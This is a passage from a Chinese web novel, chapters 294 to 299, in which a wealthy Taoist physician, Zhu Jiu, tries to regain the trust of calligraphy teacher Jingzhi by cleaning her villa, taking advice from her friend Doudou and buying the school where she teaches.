静之环着胸低头看向朱九,“那你觉得我现在开心吗?” 朱九无措的捏紧笔杆,“对不起,没有下次了,我,我以后都对你坦白。” 静之朝他轻笑一声,“不需要,咱们又没关系,你不用跟我坦白。” 张真渐渐琢磨出味儿来了。 这俩,该不会原来是男女朋友,现在要分手了吧? 他怎么瞅着这氛围有点不对劲儿。 张真举手,“老师,我也有个字儿不会写!” “叮——” 下课铃响。 静之转头看一眼张真,“后天吧,下课了。” 说完,她快步走到讲台上,收拾了自己的东西就走。 她一收东西,朱九也跟着收东西。 瞧着死死跟在她后头的人,静之气不打一处来。 她走回他刚刚的课桌上,把他刚刚写字的宣纸一拿,就朝楼下走去。 “静之,我向你保证,我再也不骗你了!”朱九追了下去。 静之没理他。 一路来到前台,把宣纸往敏姨面前展开,指着那个几近完美的静字说: “朱先生我是教不动了,要嘛您这边退钱给他,要嘛他调去别的班。” 敏姨一脸为难的看了看静之,又看了看朱九。 “静之……他买了一年的课。” 静之冷下脸,“我是教不动,他不走,我走。” “诶诶诶,你别这样呀。”敏姨一把拉住她。 朱九脸色难看得可以,他苦笑着对敏姨说:“退钱吧,我不想让她为难。” 怎么了这是? 敏姨操作了两下电脑,像是怕引燃静之这个炮仗似的,轻声说一句: “退了,第一节是试听课,钱全额退到您卡上了。” 静之朝她点点头,“那我先下班了。” 她走得很快。 玻璃门差点直接扇到他脸上。 朱九拉开玻璃门追了出去。 他万万没想到,她穿着高跟鞋也能跑得飞快。 奔跑中的朱九不小心扯到肩上的伤口,忍不住嘶了一声。 明明她在马路对面,却跟听到了一样回过头,“你回去吧,不用再跟着我了。” “我现在也是有家的人了。” 望着她倔强的眼神,朱九停下了。 他垂下眸子,低落的说: “好,我回去。” 他率先转过头,往他车的方向走去。 静之紧抿着嘴,确认他上车后,这才转头走向公交站。 哼,跟谁买不起车似的,她明天就去买! 上了公交的静之,没有发现公交车不远处,一直有一辆黑色的商务车跟在后面。 她插上耳机,任由轰鸣躁动的音乐清空她的大脑,两眼无神的望着窗外的风景。 就这样吧。 趁着这个机会跟他断了。 他就能够好好回归自己平静的生活了。 商务车里,一片寂静,只有空调吹出风的细细呼声。 朱九紧紧盯着前面公交车上,最后排的那个白色后脑勺。 “静之,我不会再骗你了,但是我不会放弃的,直到你接受我为止。” 第294章 朱九求教 灯火通明的一号别墅一楼。 朱九看着两个库库干饭的二货,他实在没想到,有一天他也会有请教他俩的时候。 他放下筷子,有些不自在的清了清嗓子。 “那个……女生生你气了,该怎么哄她?” 阿祥叼着鸡腿抬起头,一脸懵逼。 朱八筷子上的饭则掉到了裤裆上。 “哎呀妈,烫!!” 朱九:得,问这俩傻子,他不如去问沙雕网友。 刚想起身,朱八一把拉住他的胳膊,诶诶两声,“二哥你别走啊,我又没说不告诉你!” 朱九又坐了回去,靠在椅背上,斜着眼看他,“可是你没老婆。” 朱八闭嘴了。 阿祥嘿嘿笑了两声。 朱九:“还笑,你快30了,你也没有。” 阿祥彻底闭麦。 “算了,我上楼去了。” 看着走上楼梯的朱九,阿祥啃着鸡腿,满嘴油光,含糊朝他喊了一句: “你问问豆豆呗,女孩子应该更了解女孩子,她跟静之处得好,说不定有办法呢。” 朱九脚步一顿。 他说得有理。 “知道了。” 朱九上到三楼,本想回自己房间。 脚不听使唤似的,向右一拐,来到她以前住的那间。 也许是她刚搬走不久,这里还残留着一点她的味道。 朱九走进卫生间里一看,她的那件运动上衣此时正静静的放在脏衣篓里。 朱九捞起来轻轻摩挲着,指尖突然就摸到了一根线头。 他愣了一下,然后两手捏着衣服领子摊开。 前摆斜斜的少了一块,几根线头突兀的垂在下面。 昨晚……他也让她操心了吧。 朱九两手环住衣服的腰部紧紧搂进怀里,仿佛通过这个方式就能拥抱到她似的。 在这一刻,他突然想念起了他和她在水滑梯里的那一小段时间。 …… 朱九拿着衣服来到床边,靠坐在床上拿出手机。 看着豆豆的电话,本想直接拨通。 脑子里却想到豆豆昨天说的话。 她说她家在静之附近。 直接打过去,万一她俩在一起呢? 静之要是又生气了,他可就得不偿失了。 想了想,朱九觉得还是用保守的老方法——发短信。 【晚上好,我今天又惹静之不开心了,请你……教教我,怎么才能让她原谅我?】 “叮咚~” 瘫在沙发上看电视的静之,看了一眼自己的手机。 不是她的。 她用脚抵了抵旁边一同葛优瘫的豆豆,“是你手机响了吧。” 豆豆眼睛紧盯电视屏幕,“姐,按一下暂停等我下。” 悬在空中的少少朝桌上的遥控一弹指。 屏幕画面瞬间暂停。 “你搞快点,我还想看看这男主怎么挽回他家老婆的!” 豆豆坐了起来,“知道啦,别催了。” 刚拿起手机一看,她立马捂住嘴,然后小心的朝静之看一眼。 “那个,你们看啊,我想去上个厕所。” “搞什么嘛,赶紧去,别把人家的马桶给弄堵了啊!”少少边埋怨边隔空点了一下播放键。 “我才不会。” 豆豆气急败坏的声音从屋外远远的传来。 此时的她,已经来到静之新家的一楼厕所里。 门一关好,她这才赶紧拿出手机,点开朱九的短信看。 刚看完一遍,她就忍不住歪了一下嘴,“我就说嘛,肯定有事发生,不然屋子还没收拾完,又怎么会直接叫我们过来喝酒了呢。” 【豆豆:发生什么事了,您得详细告诉我,我才能给您支支招。】 朱九看到这句话,其实有些不好意思。 他这死缠烂打的操作,让一小姑娘知道了,肯定会被她笑吧? 唉,算了,笑就笑。 只要她能开心起来,比什么都强。 【今天我去书法班上课了,我假装不会写毛笔字,她拿我的丑字当反面例子,事后她叫我写字,我不想再骗她,就按照我原来的手法写了。】 豆豆捏着手机,看完这段短信,眉头直接皱成毛毛虫。 难怪她那么生气,她肯定觉得自己被当成猴儿一样耍了吧。 看似是他丢脸。 其实是她在他面前丢了脸。 这俩可真是绝绝子。 豆豆一脚踩上马桶盖,捂着脑袋,想了半天才回了朱九短信。 【豆豆:您可真是……以后千万不要这样做了,这不是火上浇油嘛。要嘛你就一直装不会写,要嘛就一开始写得巨好,亮瞎她的眼,你这半途转换风向,是大忌啊。】 他一开始不知道。 在她下午暴走时,他知道了。 明明中午的时候还会提醒他别乱吃东西,现在闹成这样,也是他自己作的。 还没等再次问一问该怎么办时,豆豆的几条消息,接二连三的弹了出来。 【豆豆:今晚她找我跟我姐喝酒了,一句话没说,家里都没收拾完呢,跟没力气似的,就知道瘫在沙发上看电视。】 【豆豆:静之姐其实很心软,只要你别再骗她,以诚相待,我相信她会慢慢接受你的。】 【豆豆:要是不在乎你,她也就不会像现在这样,这么伤心了。】 说了这么多条,她还是没说具体要怎么办啊。 朱九倒回去,把豆豆前面发的短信又看了一遍。 以诚相待? 除了那套套的事儿,他对她没半点隐私了已经。 “叮咚~” 又进来一条短信。 思索中的朱九,打断思路,点开短信。 【豆豆:明天您来帮她收拾收拾别墅呗。ps:别叫黄姨,得您亲自来,我看她最受不了苦肉计了。(您相信我一次,我看人贼准)】 收拾别墅? 也行,反正他最近挺闲。 【朱九:谢谢……】 写到一半,看着闪烁的竖线,朱九思考了一下,才学着她的话术,认真打下一句提醒。 【朱九:谢谢。ps:你记得在你家别墅立个你姐的牌位,这样以后就算她入了地府,也能收到你烧给她的东西。】 【豆豆:啊?我没弄过啊,要放在哪里?】 【朱九:算了,我明天过去帮你弄。】 “哐哐哐!” 少少大力拍门。 “豆啊,你别不是吐晕过去了吧??” “你不吱声,我要穿墙进来了哦?裤子穿好了没啊?” 豆豆放下脚,收起手机,赶紧摁了一下冲水键。 “好了好了,没吐,就是有点拉肚子。” 门刚一开,少少冰凉的手就捂到她脑壳上,“呦,是有点烫。” “哎呀~”豆豆拉下她的手,“你是鬼诶,当然摸什么都是烫的喽。” “走走走,我们出去看电视。” 少少:“……你真没事?” 豆豆:“没事。” 豆豆停了一下,突然问一句: “姐,你喜欢什么颜色的牌位?” 谈到这个,少少的眼睛瞬间亮了起来。 “黑色的底,红色的边边。” “精致的雕刻,描金的字。” …… 第295章 这里没有相亲角 宿醉的感觉并不好,再加上在陌生的地方醒来,一睁眼就面对一屋子的凌乱,让静之一早就心情奇差无比。 偏偏还有个人一直叮咚叮咚的摁门铃。 她捂着脑袋翻身坐起,不由小声暗骂几句。 啪嗒啪嗒走到客厅时,她抽了墙上的纸杯打开饮水机给自己装了一杯凉水,然后一口灌下。 连喝几杯后,脑子这才清醒过来。 门铃又响了一次。 她走到玄关处看了眼监控。 是朱九。 是穿得像男大,朝监控镜头抿嘴微笑的朱九。 他又来干什么? 静之摁下通话键。 “你回去吧。” 监控器里的朱九,脸肉眼可见的僵住了。 他抿了抿嘴,左右看了一下,见没人,才凑到监控前说了一段话。 “朱九,男,43岁,家中父母双亡,亲人只有一个弟弟和一个侄子,身高175厘米,体重69公斤,平时爱好写字,运动,做点法器,无不良征信,无欠款,手里16套房,3辆车,一艘船,卡里余额.25,银行卡密码4812——” “停停停!!” 静之松开通话键,大力掀开入户门,冲了出去。 走到庭院大门时,她对着门外那个面露喜色的男人说: “你一大早到底来这儿干什么?这里没有相亲角。” 再说了,就算相亲,也没他自我介绍得详细。 再不出来阻止,恐怕他连银行卡密码都得交代在这儿了。 朱九握着金属栏杆,柔柔的看着她。 “我所说的情况皆属实,以后我再不骗你了,这是我的体检报告跟征信记录,你要不要看看?” 静之有些无语的看着他塞进来的几张纸,头痛不已。 “二叔,我不看这些,你到底是来干嘛的?” 朱九收回纸,另一手轻轻敲了敲铁门,“不先让我进去吗?” “……你先说来干嘛的,我就放你进来。” 朱九一顿,拿着纸回了停到她门口的车后面。 纸一甩,从后备箱拿出成套的清洁工具走了过来。 “我来帮你整理别墅。” 静之挖了挖耳朵,“你把你卡里余额再报一遍。” 朱九一愣,却还是老老实实又说了一遍。 “.25。” “是不是少了?我以后会好好赚钱的,你不要嫌弃我。” 静之:“港币还是美金。” 朱九:“……” 静之:“跟我装穷拉近距离?那我回去了。” “诶,别走。”朱九放下工具,隔着门缝一把拉住她的袖子。 “……美金。” 他说:“有些钱是我老爸留给我的,有些是我自己赚的,我也会中医,我是港区首脑的在编私人中医顾问,这回我真的都告诉你了,你别……别走。” 静之回过头,满脸复杂的看着他。 “朱九,你知道我为什么要问这个问题吗?” 朱九摇头。 他知道她并不在意他有多少钱,反而因为他有过多的家产,而隐隐的将他往外推。 故而这个问题,也是问得他有些懵。 “你一个有钱有权的亿万富翁,来我这里做清洁工,你觉得合理吗?” “我……” 朱九:怎么办?他又嘴笨上了,这问题豆豆也没教啊。 对了,她说过得以诚相待。 “合理。”他紧紧揪住她的袖子,就怕她突然走掉,“我喜欢你,想以结婚为前跟你交往,帮你打扫卫生,解决烦恼,很合理。” 静之微微愣神。 他怎么一言不合就表白。 “不用,我可以自己一个人慢慢收拾,更何况我还有豆豆介绍的保洁阿姨。” 豆豆早就躲在隔壁庭院偷看了。 她掀开两片芭蕉叶,朝静之摇了摇手机,“保洁阿姨说她媳妇儿突然生了,要去照顾她坐月子了,今天来不了了。” 豆豆瞄了一眼连最外层大门都进不去的大直男,暗暗叹了口气,又笑着朝静之说: “静之姐,我今天要返工啦,不能过来帮你,你就让二叔进去呗,管他有多少钱,你就把他当上门的家政服务,事后再付他点钱就行喽。” 豆豆在这儿,她也不好下了他的面子。 于是傲娇微微点头,把门开了,侧身放他进来。 走进去屋内的静之没有看到,豆豆对点头致谢的朱九用力握拳,做着加油的口型。 朱九:我会加油的。 …… 看着正打量别墅内部装潢的朱九,静之又瘫回沙发上。 “你……就先帮我收拾一下院子好了,顺便割割草。” 她指了指外面庭院的工具房,侧头跟他说: “里面有割草机,你应该会操作吧?” 朱九:“会。” “那就去吧。” 她闭上眼睛,拧着眉心,觉得今天的阳光都刺眼得像跟她在作对一样。 “宿醉?” “我给你熬点醒酒汤喝再出去干活。” 不等静之作出反应,他已经拿起围裙套上进入厨房了。 静之侧趴在沙发靠背上,看着那道忙碌的身影,心情突然有了些许好转。 刚搬新家呢,她可不能这么颓。 她要支楞起来!! 听到身后啪嗒啪嗒走去卫生间的声音,紧张的朱九一下放松了不少。 好歹她刚刚没拒绝他不是吗。 别墅里的氛围宁静,但又莫名的和谐。 朱九做完醒酒汤以后,给她端了一碗在餐桌上,就出去了。 这里估计很久没人住,庭院落叶很多。 他拿了个耙子,先清理落叶和枯枝,庭院里不时响起的唦唦声引起她的注意。 屋内洗漱完,换好衣服出来的静之,捧着醒酒汤来到落地玻璃门前,边喝边当一个万恶的监工。 然而朱九可不像一般员工,他巴不得她多看他两眼。 手中的耙子挥舞得更加有力,就连弯腰捡枯枝,都得顺便抬头朝她笑一下。 阳光下的他笑得格外好看,男大的打扮又给他增添了几分乖巧。 静之又又又看了亿眼后,这才别扭的拿起空碗挡住脸。 笑屁。 分分钟几百万上下的人,搁她这儿扫地,也亏他还笑得出来。 …… 朱九不愧是高官的私人中医顾问。 一碗醒酒汤刚下肚,静之精神一下就好了不说,连头脑发重的感觉都消失了不少。 买别墅就一点不好。 地方大,打扫起来累人的很。 然而开始准备干活的静之可没这么笨。 这辈子既然能用灵力了,那她又何必弯腰抹地呢。 从楼上到楼下,随着道道白光闪过,她所经之处皆一片光亮。 原本落上灰尘的家具也变得光洁如新。 唯有她自个儿几个没打开的行李箱堆在房间墙角。 还有楼下被她们造得凌乱的客厅。 除了这两处外,到处干干净净的。 静之打算收拾完她的行李,再去处理客厅那片狼藉。 时间一分一秒过去,她那间犹如样板房的房间也开始变得温馨。 沾染上酒味的四件套换上了新的。 淡淡的牛油果绿让她神经放松。 空空的行李箱已经被她整理好码进置物柜里。 衣柜里按季节分门别类挂好了衣服,梳妆台上的瓶瓶罐罐也摆列得整整齐齐的。 外头除草机的轰鸣声已经响了很久。 草被切割后的味道早就顺着窗户缝渗透到房间里了。 静之拿起昨天豆豆送过来的香水,轻轻往充满草腥味的空中摁了两泵。 然后唰的一声打开厚重的米色窗帘。 外头艳阳高照。 刺目的阳光一下就晒进屋内。 静之甚至可以看到空气中细小的灰尘粒子。 她往左边打开阳台的推拉门,走了出去。 这个阳台顶上有个棚,站着的她,上半身藏在阴影里,还不至于被热死。 然而下面满头大汗的男人却让她不由皱起眉头。 “进来歇会儿,小心中暑了。” 第296章 心花怒放 握住除草机的大手突然一紧,朱九抬起头,一道略微有些傻气的笑容直接撞进静之的心房。 “好,我进去。” “别,别笑了,丑死了。” 朱九嘴角收住的一瞬间,一条半湿的毛巾直接罩住他昂起的头。 微凉的触感让他舒服得长舒一口气,这毛巾,刚沾过水吧? 刚朝里呼吸,淡淡的甜香立刻窜入鼻腔。 想把毛巾拉下来的手突然一顿,这……不会是她用的吧? 毛巾下的脸,顷刻间就比刚刚他晒了一早上太阳的脸还红。 看着他露出来的红脖子,静之不难知道他在脑补什么。 “你别瞎想,那是我擦地的抹布。” 朱九握住毛巾拿下来一看。 毛巾一角绣着一只小猫咪,毛巾质量绵软厚实,颜色是清亮的淡粉色,无半点污垢。 “好,是抹布。” 适当的附和,可以保全住她的面子。 这应该…不算说谎吧。 他珍惜的捻起毛巾一角,轻轻擦了擦脖子上的汗。 眼神刚落到她身上,鼻血差点流出来。 “这里虽然人少,你,好歹穿上点儿。” 静之低头看看自己身上的宽松大t恤,有些不明所以。 “我穿了呀。” 朱九不敢再抬头。 他紧紧盯着满地的草渣,瞳孔不停的晃动中,“穿,穿条裤子。” 裤子? 静之低头一看。 哦,她的牛仔短裤被过长的t恤盖住了。 她撑着栏杆,朝下头傲娇的轻哼一声。 “这我家诶,我家里可没有男人,我想穿什么,就穿什么。” “难不成你大男子主义上头,想管我的穿搭了?” 朱九咬了咬唇,低着头无声摇了摇头。 他们还没在一起,他有什么资格吃醋别人看她的目光呢。 “进来休息,等太阳小一点了再搞。” “嗯。” “我只是不想传出虐待工人的闲话,你别多想。” “……嗯。” 他好乖。 静之看着他汗湿的背影,挑刺的话突然说不出嘴。 哼,早晚有一天,她要把自己的软心肝处理掉。 由于她刚刚打开阳台门,空气里的淡淡香气,瞬间被外头的炙热和青草味挤压进来。 她轻啧一声,拿起香水往空气中用力摁了几下。 又抓起自己两个衣摆,往阳台外扇着空气。 “才不会这么轻易的……让你进来……” …… 她刚下楼,楼下却不见人影,走到玻璃前一看,他又出去了。 电视机前,茶几上的一片狼藉已经被收拾干净,此时只有一个杯口微微湿润的纸杯放在那里。 静之朝外一看,除草机被他收了起来,此时他把毛巾搭在肩膀上,正拿着耙子把浮在草面上的碎草勾掉。 仿佛察觉到她的视线,朱九动作一僵,“我都干好了再休息。” 干干干,她才不会管他呢。 “随便你!” 静之转头就走。 太阳渐渐走到朱九脑袋顶上。 整个庭院已然焕然一新。 草坪和旁边的盆栽被他处理得规规整整的,绿意油油,瞧着就喜人。 他杵着耙子,左手挡在眉上朝内一看。 人怎么不见了? “叮咚~” 朱九摘下已经被汗水浸湿的手套,从裤兜里掏出手机。 【豆豆:二叔,怎么样啦?静之姐没为难你吧?今早她有叫你干很多活吗?】 朱九侧首,垂下眸子看了眼只擦过一次的香香毛巾,唇线忽而勾起。 【朱九:还行。她只叫我弄了一下庭院。没为难我。】 【豆豆:(⊙o⊙)哇,我说得没错吧,她就是心软。】 【豆豆:您得学会深思她的话,您看您受伤了不是,她就没叫您去干一些会碰到水的事情,说明她还是心疼你的。】 朱九捂着肩头,眼睛微弯。 她不心疼我,怎么会把她的毛巾丢下来给我? “叮咚~” 朱九找回出走的眼神,聚焦于手机屏幕上。 【A静静来信】 他猛的抬头看向玻璃内的客厅跟开放式厨房,搜寻她的身影。 她在哪儿,这不是没人吗? 朱九突然有点害怕点开这条短信。 万一她又赶他走怎么办? “吱呀~” 楼上的白色窗户打开一条缝。 她没好气的声音突然响起。 “不看你就走。” 朱九赶紧回答:“我看,我现在就看,你别赶我。” “哐。” 窗户又合上了。 死就死吧。 朱九微抖着手指轻轻点击。 【A静静:午饭跟药箱在桌上,换洗衣服跟钱在沙发上,你用楼下的浴室,不许上楼,我要睡觉了。】 朱九慌乱的心一下心花怒放。 暗下来的屏幕倒映出他洁白的两排牙齿。 走到室内,酸甜口的食物香气扑鼻而来。 是凉面。 细细的苹果丝,半透明的豆芽,绿色的黄瓜丝,切成薄片的牛肉,外加一半的水煮溏心蛋,码得整整齐齐,白色的面条有一半淹没在清亮的棕色酱汁里。 看起来就爽口。 朱九端起它,边搅拌边走到沙发边上。 就发现沙发右侧摆着一个药箱,药箱盖子上,放着伤药跟纱布。 一件白色t恤跟一条干毛巾,就搭在药箱旁边。 几张纸币压在桌上的纸巾盒下面。 朱九只看了一眼就把视线收回,放到他手里捧着的凉面上。 脸都快笑成菊花了。 他含情脉脉的看着空无一人的楼梯口。 突然低声说一句: “谢谢。” …… 趴在床上玩手机的静之,耳边突然听到楼下隐隐传来的水声,她不由有些分心。 第297章 朱九又整活 朱九闭嘴低头,屏住呼吸,眼睛专注的盯着她衣服上的卡通猫。 静之:别以为这么听话,我就原谅你。 她上辈子不知道偷偷帮多少个士兵包扎过,手法娴熟,又快又好。 朱九甚至没憋过30秒,眼前的卡通猫就消失不见了。 听着哒哒哒的上楼声,他竟还有些失落。 指尖抚上肩膀,有点想拆了重新让她包一次。 想想自己现在的处境,朱九还是打消了这个作死的念头。 由于他的活干得又快又好,不过下午四点,静之递给他一块小蛋糕后,就把他撵了出去。 “干得差不多了,剩下的我自己来,你回去吧。” 朱九拘谨的点点头,完全不敢再对她做出过分的越矩举动,深深的看了她一眼后,端着小蛋糕就回了车上。 静之收拾一楼的时候,看到洗衣机里他已经洗好的上衣,拿了出来,本想一把丢进垃圾桶里,莫名的,她拿起来轻嗅了一下。 “……一股青草味,臭死了。” 衣服又被丢进洗衣机里,静之倒了大量的洗衣粉,调水温,摁开机键。 想丢掉的念头,不知飞到了哪里去。 自发的僚机——豆豆小姐,此时拿下望远镜,含着一抹磕到了的姨母笑,给朱九送去了好消息。 【豆豆:二叔!!!!她没丢您衣服!!!!!虽然她又洗了一遍,但是她没丢您衣服!!!!!】 满屏的感叹号,都快弹朱九脸上了。 他含着精致的小勺子,笑得鱼尾纹都出来了,一口蛋糕仿佛直接甜进心里。 【朱九:知道了,今天谢谢了,麻烦你开下后门,我把车停远一些,再走过去,以免她发现。】 豆豆躲在百叶窗后头,朝隔壁偷瞄了一眼,又开始低头传递情报。 【豆豆:她下去刷泳池了,您趁现在!】 …… 五分钟后,看着穿上静之白t的朱九,姐妹两个一左一右绕着朱九转个不停。 豆豆赞叹连连。 “二叔,我看很有戏欸。” 少少年岁较大,自然心眼儿比豆豆多。 她眯起眼睛质问: “虽然套套不是你的,但是你心里有没有那么一秒,想要同意你祖先的做法?” 朱九不带一丝犹豫,“没有。” “我压根就还没想到那里去,是我祖师爷自作主张。” 少少捏着下巴,斜眼看他。 “那你现在想,要是真在一起了,你会同意他的做法吗?让静之多给你们朱家生几个后代?” “不可能。” 朱九正视她,逐字逐句说得诚恳。 “老实说,我对孩子没有太多想法。 而且生不生是她的自由,那是她的身体,她拥有绝对的话语权,我会尊重她的决定。” 听到这话,少少不禁挑眉。 “那朱家绝后了怎么办?你的家产不就没人继承了?” 朱九反问一句,“你现在也死了,你会因为你家别墅无人继承,而逼你妹妹去生个孩子吗?” 少少被他一句话堵得哑口无言,她嘟起嘴重重哼了一声,叉着腰坐回沙发上。 “这会儿倒是牙尖嘴利了,刚刚看你在隔壁怎么一句屁话都没有啊?” 朱九没理她,自顾自的把手里的袋子递给豆豆,然后拿出罗盘,在客厅里找寻最佳的供奉方位。 豆豆打开袋子一看,她笑着把展开的袋子呈到少少面前。 “姐,你看,完全按照你的想法做的,你就别说二叔了嘛,我看他们两个配得很。” 少少拿出她的牌位,森冷的手指轻轻抚摸在她高少少的名字上。 “道长,你倒是舍得下血本,金漆里面放金箔。” “别以为这样我就会放松警惕,就算日后我入了地府,我也会一直盯着你,静之可是我罩着的!” 朱九转过头看她一眼,幽幽说一句: “你在阳间能待的时间还有45天,时辰一到,你就得进入地府接受审判。” “我给你算过,你阳寿还余50年,过完这50年才能再次转世轮回。” “我不怕你盯,若是我有幸能与她在一起,我若对她不好,你尽管上来找我,我绝不反抗。” 他说得严肃认真,原本只是想放句狠话吓吓他的少少,忍不住摸了摸鼻子。 “那可就说好了哦。” 朱九朝她点头,然后指向坐北朝南的一处空地。 “豆豆你有空的时候,去买个神台和香炉,放在这个位置,然后把你姐的牌位放上去。” 他刚想走,豆豆诶的一声,赶紧说: “仓库里有,我搬回来第一天就买了的,麻烦二叔帮我再调整调整位置,这种事情我不太会。” 朱九:“行。” …… 少少一路飘在二人后头,犹如监工一般,看着朱九安装神台,放香炉。 她突然问一句,“我们以前真的没见过吗?” 朱九回头看一眼她那张脸。 确认了好一会儿,才回答: “没有,你不是跟阿祥是小学同学吗?可能是我送他上学的时候,你见过我吧。” 女大十八变,他又怎么会记得一个小女孩呢? 少少实在摸不着头脑,想了半天,就是想不到在哪里见过他,于是只能作罢。 …… 第二天。 又该静之搬砖了。 昨天朱九去她家,她也不好出去看车,于是今天又是乘的公交车来。 一打开玻璃门,她就看到敏姨不甚自然的脸色。 静之眼皮一跳,问她一句: “朱九又去我班级了?” 敏姨捏着新打印出来的排班表,欲言又止。 “那……那倒是没有。” “哦。”静之松了口气,打完卡,抬脚刚要往楼上走,敏姨却叫住了她。 “那个……你等会上去要是看到什么,可别生气啊,我都是为了咱们书法班好。” 她能看到什么? 既然朱九没来,顶天了就是学生造反乱涂乱画,对付这种皮猴儿,她最有办法了。 “你放心,我绝不生气,一定会好声好气跟他们说的。” 敏姨:不是,她是不是误会什么了? 瞧着静之三步并作两步跑上楼梯,她手里的排班表还是没能来得及递出去。 楼上安静得有些异常,不像是吵吵闹闹的样子呀。 手刚搭上门把手,她的脑子里突然跳出刚刚余光瞄到的一帧画面。 不会吧,不会吧,不会吧??? 静之连退两步,来到隔壁班门口。 里面讲台上站着的朱九,笑着朝她挥了挥手。 “你在这里干什么?昨天敏姨不是给你退钱了吗?” 静之扒着门框往里瞧了瞧,底下的一群初高中生简直怕极了朱九,一个个坐得端正。 朱九走过来,挡住学生们的视线低声解释: “我来这里上班,以后我们就是同事了。” 静之还是不信,“敏姨答应的?” 还没等朱九再解释一句,静之扭头就朝楼下跑去。 敏姨一脸我就知道的表情,倚在收银台后。 她敲了敲台面上的排班表。 “现在师资力量足够,为了保证教学质量,实行小班制。” “豆豆主教周末两天的成人班,你和朱先生还有新转正的张真老师,一同轮值周一到周五的班。” “这是课程表,你看看。” 静之:“什么???” 她转出课程表一看,一股气又顶了上来。 “凭什么把我跟他一直排在同一天?!” 敏姨略带抱歉,笑着说: “那个……咱们这个书法班,被朱先生买下来了,自然是他想什么时候上班,就什么时候上班。” 静之:“什么?????” 此时此刻,楼上的朱九跟上楼的张真用眼神杠上了。 张真:跟谁不会当老师似的。 朱九:你小子,我现在是你老板了,我绝对不会把静之跟你排在同一天上班的! 第298章 朱九的解释 敏姨现在已经不是法人了,没有了管理权,跟她说也没用。 静之三两步冲到二楼,刚想找朱九说道说道。 张真就凑了过来,朝她伸出手。 “林老师,以后我是你同事了,请多多指教。” “……连你也骗我?” 静之自昨天后渐渐熄灭的怒火,这时候又顶了起来。 张真的手僵在空中,就连脸上的微笑也一起僵了。 “那个…不是,我…我天赋异禀,很快就学会了。” 朱九一句话直接拆穿他的谎言。 “他爷爷是港区着名的书法家张丰,他爸是书法协会副会长,他的书法已经考过六级了。” 张真惊愕得瞪大双眼,“你怎么知道?” 朱九:“我认识你爷爷,我们一起吃过饭。” 再加上他刚刚看了张真的简历,又百度了一下,结合一下他手里的高层人脉,其实并不难猜出来。 静之瞪了张真一眼,“等会再跟你算账。” “你。” 静之指着朱九的鼻子,“你给我过来!” “叮——” 上课铃响。 敏姨走到楼梯口,放轻声音劝道: “静之啊,要不先上课?学生们都等着呢。” “哼!” 静之怒瞪朱九一眼,转头走进自己教室里。 敏姨:“朱先生,您也……” 朱九极有涵养的朝她笑了笑,“我知道,学生要紧,我不是一时兴起,不会耽误事的。” 敏姨松了口气,也朝他笑了笑。 “那就好那就好。” 她朝张真说:“阿真啊,你回家吧,今天没你的课,你明天再过来就行。” 张真有些不悦,他来当老师就是为了跟静之能多些相处时间的,他们老是隔天上课,他不就永远碰不到她了吗? “敏姨,你那个排班表,你看能不能再调整一下,一周能让我碰见她两天也行。” “你是来当老师的,还是来泡妞的?”敏姨无奈极了。 她扯着张真的袖子,边往楼下走边解释: “我知道你对静之的心,不过你要是想在排班表上下功夫,那百分百是不可能的了。” 张真:“为什么?” 敏姨:“朱先生把我们这里买下来了,我现在也是他的员工,这排班表,是他做的。” “你要调的话,你得找他去。” 张真面如死灰。 同为男人,他怎么会看不懂朱九看静之的眼神呢? 不,还有的救,那个朱九不是说他跟他爷爷有交情吗? 他要回去找他爷爷,他就不信他爷爷不帮他这个唯一的大孙子! …… 中午12点15分。 隔壁何姨煲仔饭的店里,人潮拥挤。 却有一小块地方,犹如真空地带。 经过的人都避得远远的。 朱九和静之面对而坐,两人一言不发,一无辜,一怒目相视。 直到何姨从后厨端来两份煲仔饭。 “来来来,让开一下啊,小心烫!” 朱九微微侧过身子,让何姨好把滚烫的煲端上桌。 静之突然开口。 “你是不是故意的?” 何姨一愣,看了看碗底,也没漏啊,她故意啥? 朱九:“我本来不想这么做的。” 何姨:哦,原来不是跟她讲话。 她掀开两个盖子后,说了句慢慢吃,就极速告退。 今天人多得很,不然她高低得躲在后厨偷听一下这俩的八卦。 静之抬手扇开面前大股的热气,紧紧盯着他的眼睛。 “给你两分钟解释,不然我跟你翻脸。” 他以为钱是万能的吗? 可以用钱直接支配她的时间,甚至不择手段买下隔壁,就为了用来接近她吗? 朱九看了一眼表。 两分钟啊,他的初衷也很简单,两分钟绰绰有余。 “有两个原因。” “第一个,我原本只是想来这里当老师,面试成功后,就看到张真在调排班表,他把你跟他全部排到一天去了,有假公济私的嫌疑。” “第二个,我刚进来的时候,听到张敏打电话,她老公生病了,她以后可能没那么多时间来这里,所以我便跟她商量着把这里盘下来,她答应我了。” 静之面色不明。 朱九心里忐忑不安,于是又补充一句: “我没有拿钱或者权压人,你等会回去可以问问她,绝对不会让她亏本的,她以后依旧可以来这里上班,我会给她发工资的。” 他的理由简直无懈可击。 静之重重叹了口气。 左手杵在桌上捂着脑门,右手有一下没一下的拿着汤匙搅着饭。 “二叔,你到底想要干什么?” 朱九双手扶着膝盖,直直看向她。 “我只想一直陪在你身边。” “我不知道你到底在怕什么,但我会尽我所能保护你的。” 静之呲笑一声,“把你的班跟我的调在同一天,就叫保护我了?” 朱九有些心虚的低下头。 他也是个普通的男人而已。 这么做,不过是想跟她多些相处的时间罢了。 再加上那个张真。 他就是…偷偷吃了点小醋。 朱九轻咳一声,缓解尴尬说: “我对这份工作是认真的,不会拿学生们开玩笑的,你放心。” 静之看向玻璃窗外的行人,有些心不在焉。 “你的生活,你要怎么安排都行,我祝你一切安好。” 朱九微微皱起眉头。 他怎么觉得,他这么做,好像把她越推越远了? 第299章 她病了 【朱九:你好,我好像又坏事了。】 【豆豆:我看出来了。】 【朱九:她都告诉你了?】 【豆豆:那倒没有,她什么都没说,我自己看出来的。】 豆豆举起手机,对准玻璃门外,沐浴在月光下,坐在泳池旁望天的静之拍了张照。 附图,上传,咔咔打字。 【豆豆:喏,您自己看。】 【豆豆:说是叫我过来一起看电视,结果自己跑出去看月亮。 ps:她已经看一个多小时了。】 朱九轻轻抚着屏幕上那道浅灰色的身影,抿了抿唇。 他的靠近,真的让她如此抗拒吗? 也许,只有解决她心中的恐惧,他才能得偿所愿吧。 【朱九:我知道了,你住得近,麻烦你有空多陪陪她。】 豆豆捏着手机一头雾水。 他知道啥了他知道。 “啪!” 看着外头又响起的拍蚊声,豆豆拿出电蚊拍跟花露水走了出去。 “喏,自己擦。” 她把花露水放到静之旁边的白色圆桌上,然后打开电蚊拍。 “噼啪……滋滋……吡……啪!” 蓝紫色的闪光在黑暗中亮起,烤糊的蚊子味扑面而来。 静之情不自禁皱起眉头。 